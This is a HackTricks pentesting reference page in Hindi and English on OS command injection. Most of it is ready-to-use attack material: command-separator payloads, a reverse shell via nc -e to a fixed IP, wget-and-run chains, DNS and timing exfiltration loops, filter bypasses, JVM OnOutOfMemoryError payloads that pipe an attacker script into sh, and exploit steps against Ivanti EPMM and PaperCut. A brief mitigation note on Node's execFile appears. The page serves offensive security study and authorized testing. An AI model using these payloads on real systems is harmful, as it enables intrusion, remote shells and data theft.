Command Injection

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

command Injection क्या है?

एक command injection हमलावर को उस सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स चलाने की अनुमति देता है जहाँ एक एप्लिकेशन होस्ट की जा रही है। इसके परिणामस्वरूप, एप्लिकेशन और उसके सभी डेटा पूरी तरह से समझौता हो सकते हैं। इन कमांड्स का निष्पादन आम तौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित सिस्टम पर अनधिकृत पहुँच या नियंत्रण प्राप्त करने की अनुमति देता है।

Context

यह निर्भर करता है कि आपका इनपुट कहाँ inject किया जा रहा है — आपको कमांड्स से पहले quoted context को terminate करने की आवश्यकता हो सकती है (उदाहरण के लिए " या ' का उपयोग करके)।

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

PHP रूल इंजन जब runkit सक्षम हो

कुछ एप्लिकेशन admin-only “rule engines” को इस तरह लागू करते हैं कि वे attacker-supplied PHP को निष्पादित करते हैं। यदि environment में runkit extension सक्षम है, तो एक attacker runtime पर functions को redefine या inject कर सकता है और logic-only rule editor को full PHP RCE में escalate कर सकता है।

Indicators:

  • Admin UI PHP-जैसी “rules” स्वीकार करता है जिन्हें निष्पादित किया जाता है।
  • runkit / runkit7 लोड है (phpinfo() या extension_loaded('runkit'))।

Abuse example (rules द्वारा उपयोग की जाने वाली एक फ़ंक्शन को पुनः परिभाषित करके कमांड निष्पादित करना):

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

यदि नियम की सामग्री बाद में संग्रहीत और मूल्यांकित की जाती है, तो यह web context के भीतर एक स्थायी RCE primitive बन जाती है।

Limition बायपास

यदि आप linux machine के अंदर arbitrary commands चलाने की कोशिश कर रहे हैं, तो आप इस बायपास: के बारे में पढ़ने में रुचि रखेंगे:

Bypass Linux Restrictions

उदाहरण

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

RewriteMap/CGI-style स्क्रिप्ट्स में Bash arithmetic evaluation

RewriteMap helpers जो bash में लिखे होते हैं, कभी-कभी query params को globals में डालते हैं और बाद में उन्हें arithmetic contexts ([[ $a -gt $b ]], $((...)), let) में तुलना करते हैं। Arithmetic expansion कंटेंट को फिर से re-tokenize करता है, इसलिए attacker-controlled variable names या array references दो बार expand होते हैं और execute कर सकते हैं।

Pattern seen in Ivanti EPMM RewriteMap helpers:

  1. Params globals पर map होते हैं (stgStartTime, htheValue)।
  2. बाद में यह चेक होता है:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. st=theValue भेजें ताकि gStartTime string theValue की ओर इशारा करे।
  2. h=gPath['sleep 5'] भेजें ताकि theValue में एक array index हो; arithmetic check के दौरान यह sleep 5 चला देगा (इसे किसी वास्तविक payload से बदलें)।

Probe (~5s delay then 404 if vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

नोट्स:

  • अन्य prefixes के तहत उसी helper को देखें (उदा., /mifs/c/aftstore/fob/)।
  • गणितीय संदर्भ अज्ञात टोकनों को variable/array identifiers के रूप में मानते हैं, इसलिए यह साधारण metacharacter filters को बायपास कर देता है।

पैरामीटर

यहाँ शीर्ष 25 पैरामीटर दिए गए हैं जो code injection और समान RCE vulnerabilities के लिए कमजोर हो सकते हैं (स्रोत: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

डेटा निकालना: char दर char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

यह https://github.com/HoLyVieR/dnsbin पर उपलब्ध टूल पर आधारित है, जो dnsbin.zhack.ca पर भी होस्ट है।

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS आधारित data exfiltration की जांच के लिए ऑनलाइन टूल:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

जब आप JavaScript/TypeScript बैक-एंड्स का ऑडिट कर रहे होते हैं, तो अक्सर आपको Node.js child_process API मिलेगा।

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() एक shell (/bin/sh -c) को spawn करता है, इसलिए कोई भी ऐसा character जिसका shell के लिए विशेष अर्थ हो (back-ticks, ;, &&, |, $(), …) जब user input स्ट्रिंग में concatenated किया जाता है तो command injection का कारण बन सकता है।

निवारण: execFile() का उपयोग करें (या spawn() बिना shell विकल्प के) और each argument as a separate array element के रूप में प्रत्येक argument प्रदान करें ताकि कोई shell शामिल न हो:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

सभी इंजेक्शन में shell metacharacters की ज़रूरत नहीं होती। अगर एप्लिकेशन untrusted strings को किसी system utility को arguments के रूप में पास करता है (यहाँ तक कि execve/execFile के साथ और बिना shell के), तब भी कई प्रोग्राम किसी भी argument को जो - या -- से शुरू होता है, option के रूप में पार्स कर लेंगे। इससे हमलावर मोड बदल सकते हैं, आउटपुट पाथ बदल सकते हैं, या बिना किसी shell में प्रवेश किए खतरनाक व्यवहार ट्रिगर कर सकते हैं।

Typical places where this appears:

  • Embedded web UIs/CGI handlers that build commands like ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Centralized CGI routers (e.g., /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) where multiple handlers reuse the same weak validator.

What to try:

  • ऐसी वैल्यूज़ दें जो -/-- से शुरू हों ताकि downstream टूल उन्हें flags के रूप में consume करे।
  • ऐसे flags का दुरुपयोग करें जो व्यवहार बदलते हैं या फाइलें लिखते हैं, उदाहरण के लिए:
  • ping: -f/-c 100000 डिवाइस पर लोड डालने के लिए (DoS)
  • curl: -o /tmp/x किसी भी पाथ पर लिखने के लिए, -K <url> attacker-controlled config लोड करने के लिए
  • tcpdump: -G 1 -W 1 -z /path/script.sh unsafe wrappers में post-rotate execution हासिल करने के लिए
  • अगर प्रोग्राम -- end-of-options को सपोर्ट करता है, तो उन naive mitigations को बायपास करने की कोशिश करें जो -- को गलत जगह prepend कर रहे हों।

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM डायग्नोस्टिक कॉलबैक गारंटीकृत exec के लिए

कोई भी प्रिमिटिव जो आपको JVM command-line arguments इंजेक्ट करने देता है (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, आदि) application bytecode को छुए बिना एक विश्वसनीय RCE में बदला जा सकता है:

  1. निर्धारित क्रैश मजबूर करें metaspace या heap को छोटा करके: -XX:MaxMetaspaceSize=16m (या एक छोटा -Xmx). यह शुरुआती bootstrap के दौरान भी एक OutOfMemoryError सुनिश्चित करता है।
  2. एक error hook जोड़ें: -XX:OnOutOfMemoryError="<cmd>" या -XX:OnError="<cmd>" JVM abort होने पर कोई भी arbitrary OS command निष्पादित करता है।
  3. वैकल्पिक रूप से -XX:+CrashOnOutOfMemoryError जोड़ें ताकि recovery प्रयासों से बचा जा सके और payload एक ही बार निष्पादित रहे।

उदाहरण payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

क्योंकि ये diagnostics स्वयं JVM द्वारा पार्स किए जाते हैं, किसी shell metacharacters की आवश्यकता नहीं होती और कमांड launcher के समान integrity स्तर पर चलता है। Desktop IPC bugs जो user-supplied JVM flags को फॉरवर्ड करते हैं (देखें Localhost WebSocket abuse) इसलिए सीधे OS command execution में बदल जाते हैं।

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose /app?service=page/SetupCompleted; वहाँ ब्राउज़ करके और Login पर क्लिक करने पर क्रेडेंशियल्स के बिना एक वैध JSESSIONID लौटता है (setup फ्लो में authentication bypass)।
  • Options → Config Editor में, print-and-device.script.enabled=Y और print.script.sandboxed=N सेट करें ताकि printer scripting चालू हो और sandbox disable हो जाए।
  • प्रिंटर के Scripting टैब में, script को enable करें और validation errors से बचने के लिए printJobHook को defined रखें, लेकिन payload को function के बाहर रखें ताकि यह तुरंत execute हो जाए जब आप Apply पर क्लिक करें (कोई print job आवश्यक नहीं):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • callback को reverse shell से बदलें; अगर UI/PoC pipes/redirects को हैंडल नहीं कर पाता, तो एक कमांड वाले payload को stage करें और दूसरे request से उसे exec करें।
  • Horizon3 का CVE-2023-27350.py auth bypass, config flips, command execution, और rollback को automate करता है — जब सेवा केवल internally पहुँच योग्य हो तब इसे एक upstream proxy (जैसे proxychains → Squid) के माध्यम से चलाएँ।

Brute-Force डिटेक्शन सूची

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

संदर्भ

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें